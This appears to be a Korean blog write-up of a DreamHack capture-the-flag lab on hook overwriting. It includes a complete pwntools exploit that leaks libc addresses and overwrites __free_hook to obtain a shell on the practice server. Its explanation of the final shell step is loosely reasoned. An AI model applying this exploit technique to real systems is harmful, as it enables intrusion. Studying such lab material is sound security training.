소스코드
핵심은 *(long *)*ptr = *(ptr+1);이다.
*해석: ptr가 가리키는 값을 long 포인터형으로 형변환->형변환한 주소에 있는 값을 ptr+1 위치에 있는 값으로 대입.
짧게 말하자면 ptr의 값으로 주소를 넣어주면, 이 주소가 가리키는 값을 ptr+1 주소가 가리키는 값으로 바꿔준다는 뜻이다. 이때 ptr은 long 포인터 형이므로 *(ptr+1)은 ptr보다 8byte 위에 있는 주소의 값을 가리키게 되겠다
설계
1. stdout의 주소 출력값을 통해 libc_base, __free_hook, printf의 주소를 구한다
2. read(0, ptr, size)를 통해 ptr에 __free_hook 주소를, ptr+1 위치에 printf() 주소를 넣어서, __free_hook이 printf()를 가리키게 한다.
3. free(ptr) -> printf(ptr)이 되었으니 system("/bin/sh")이 실행되어 shell을 획득하게 된다.
exploit(hook.py)
from pwn import *
p = remote('host3.dreamhack.games', 24053)
lib = ELF('./libc-2.23.so')
#### [1] Get Address of Functions ####
p.recvuntil(b'stdout: 0x')
stdout = int(p.recvn(12), 16)
libc_base = stdout - lib.symbols['_IO_2_1_stdout_']
free_hook = libc_base + lib.symbols['__free_hook']
printf = libc_base + lib.symbols['printf']
print('libc_base:', hex(libc_base))
print('__free_hook():', hex(free_hook))
print('printf():', hex(printf))
#### [2] Overwrite __free_hook() ####
p.sendlineafter('Size: ', '16')
payload = p64(free_hook) + p64(printf)
p.sendafter('Data: ', payload)
#### [3] Get Shell ####
p.interactive()
주의할 점(libc base 구하기)
ㆍstdout의 주소를 elf를 통해 구할 때 symbols['stdout']이 아닌 symbols['_IO_2_1_stdout_']을 해줘야 한다.
ㆍC 표준 라이브러리에서 stdout은 FILE 구조체의 포인터로 정의되어 있으며, stdout은 _IO_2_1_stdout_의 주소를 가리키고 있다. printf("stdout: %p\n", stdout);는 stdout의 "값"을 출력한다. 여기서 stdout은 _IO_2_1_stdout_의 주소를 가리키고 있으므로, 실제로는 _IO_2_1_stdout_의 주소가 출력된다. 따라서 출력 결과로 _IO_2_1_stdout_의 주소가 나타나게 된다.
짧게 말하자면, stdout = &_IO_2_1_stdout_이다.
이것 때문에 엄청난 삽질을 했다.
'DreamHack: System Hacking > F Stage 8' 카테고리의 다른 글
oneshot (0) | 2023.07.02 |
---|---|
[함께 실습] Hook Overwrite (0) | 2023.06.25 |
PIE & RELRO (0) | 2023.06.25 |